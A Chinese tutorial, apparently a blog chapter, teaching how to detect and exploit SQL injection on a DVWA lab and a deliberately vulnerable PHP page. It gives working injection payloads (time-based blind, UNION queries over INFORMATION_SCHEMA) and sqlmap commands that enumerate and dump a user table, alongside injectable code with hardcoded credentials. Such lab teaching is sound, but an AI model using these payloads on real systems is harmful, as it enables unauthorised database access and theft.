在上一章中,描述了如何进行SQL注入,以及SQL注入的思路。那么怎么发现一个地方是否可能是SQL注入点呢?
第一种方法:
再之前搭建的OWASP靶机中,选择Damn Vulnerable Web Application 这个应用,账户名为admin,密码也为admin。登陆成功后,选择SQL 注入的页面:
我们可以看到,这里是一个用户用户查询的界面,输入用户的id,会返回相应的用户信息。点击查看源代码:
SQL Injection Source
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
我们可以看到,关键的SQL语句在这里:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
此时,如果我们输入一个‘:
这里提示有错误,那么说明可能是存在注入漏洞的。
然而,在上面的代码中,对错误进行了处理:
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
当发生错误时,会提示错误信息。但是有的代码并不会提示错误信息,比如上一篇文章中写的代码。这时如果在搜索框输入单引号,并不会提示错误任何信息。
这是可以用到基于时间的盲注,在查询栏中输入:
a’ and sleep(5)#
如何存在注入漏洞,那么网页会睡眠五秒后再次运行:
当发现注入点以后,攻击者可能会选择拖库。但是我们知道,在操作数据库的时候,需要知道数据库中到底有哪些库?又有哪些表?表中有哪些字段?如果没办法知道这些信息,是无法查询信息。
在使用数据库客户端时,常常用到show databases,show tables 等命令,然后在注入点中,sql语句是完全写好的,例如:
$sql = "select * from user where name = '$name'";
在这条sql语句中,我们只能改变name字段的信息,或者说name 变量的值,若我们使用show databases或是show tables指令,那么这条sql语句就变成了:
select * from user where name = 'show databases';
代码执行的结果即为查询用户名为“show databases”的信息,所以肯定是查不到的。
那么如何查询数据库名和表名呢?在MySQL5.0以及以上版本中,提供了INFORMATION_SCHEMA 数据库,其中记录了所有的数据库信息,表信息,以及列信息,通过查询这个数据库,就可以获得需要知道的内容了。
例如:
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA;
可以查询数据库的内容,只要把这条sql语句使用union联合,就能得知我们想要的信息了。
通过SQL注入查询所有数据库信息:
在输入框输入: ’ union select SCHEMA_NAME,null from INFORMATION_SCHEMA.SCHEMATA#
即为显示所有数据库的信息:
当然也可以查询所有表的信息:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES#
查询当前数据库中的所有表:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select database())#
也可以查询指定表的所有字段:
’ union select COLUMN_NAME,null from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘user’#
在这个窗口的服务器中,select语句只包括了两个字段,那么在union select 查询的时候,也只能跟两个字段,带来了极大的不便利。但是可以使用concat_ws()函数对字符串进行连接:
’ union select concat_ws(@@datadir, @@basedir, user(), current_user()),null#
在SQL注入中,以自动注入为主,手动注入为辅。提到自动注入,不得不提到一个非常有名的SQL注入工具——sqlmap。
sqlmap 是用一款开源的,python开发的sql注入工具。
sqlmap
请注意!根据中国网络安全法,无论出于什么目的,在没有对方书面授权的情况下,请不要私自扫描他人网站的漏洞!
windows系统下,使用python sqlmap.py -h显示指令:
常用的参数有,–dbms 指定数据库的种类,例如MySQL,SQLServer, Oracle等等,–dump 下载数据库等等。为了演示sqlmap,我们新建一个index2.php文件在文件夹下,不需要cookie的判断,并且将post方法改为get方法。
<!DOCTYPE html>
<html lang="en">
<head>
<title> Hello World! </title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
user: <br /><label>
<input type="text" name="username">
<input type="submit" value="query">
</label><br>
</form>
<?php
$conn = new mysqli("localhost","phpadmin","ppzz4869","PHP");
if ($conn->connect_error){
echo "connection fail";
}
$name = $_GET['username'];
$sql = "select * from user where name = '$name'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
while ($row = $res->fetch_row()){
echo $row[0], "\t";
}
} else {
echo "no such user";
}
?>
</body>
</html>
当我们查询用户a时,可以看到地址栏显示:
http://192.168.85.128/index2.php?username=a
这里问号后的内容代表传参,将a传给username。接下来测试sqlmap:
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql
程序执行完成后显示,MySQL的版本大于5.0.12, 并且支持时间盲注,布尔盲注和union查询。代码执行完成后,数据也被保存到了本地。使用参数–dbs可以获取数据库。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --dbs
可用的数据库有两个,PHP和information_schema。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --tables -D "PHP"
列出PHP库中的所有表
可以看到PHP库中只有一个user表格
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --columns -T "user" -D "PHP"
列出user表中的所有字段名
当然也可以加入–dump参数,将数据库的内容下载到本地。
python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dump -C "name,psw" -T "user" -D "PHP"
下载完成后:
dump下来的内容在output文件夹下,以csv的格式存储。
当然,除了get模式,sqlmap同时也支持post模式的sql注入。
在访问页面的过程中,使用burp抓包(burp抓包以后有机会详细写),将内容以txt的形式保存到本地:
POST /index.php HTTP/1.1
Host: 192.168.85.128
Content-Length: 11
Cache-Control: max-age=0
Origin: http://192.168.85.128
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.85.128/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,zh-CN;q=0.6
Cookie: username=a
Connection: close
username=aa
保存成功以后,运行sqlmap:
python sqlmap.py -r "C:\Users\tong\post.txt" --dbms=mysql --batch
运行结束后,发现可以进行注入。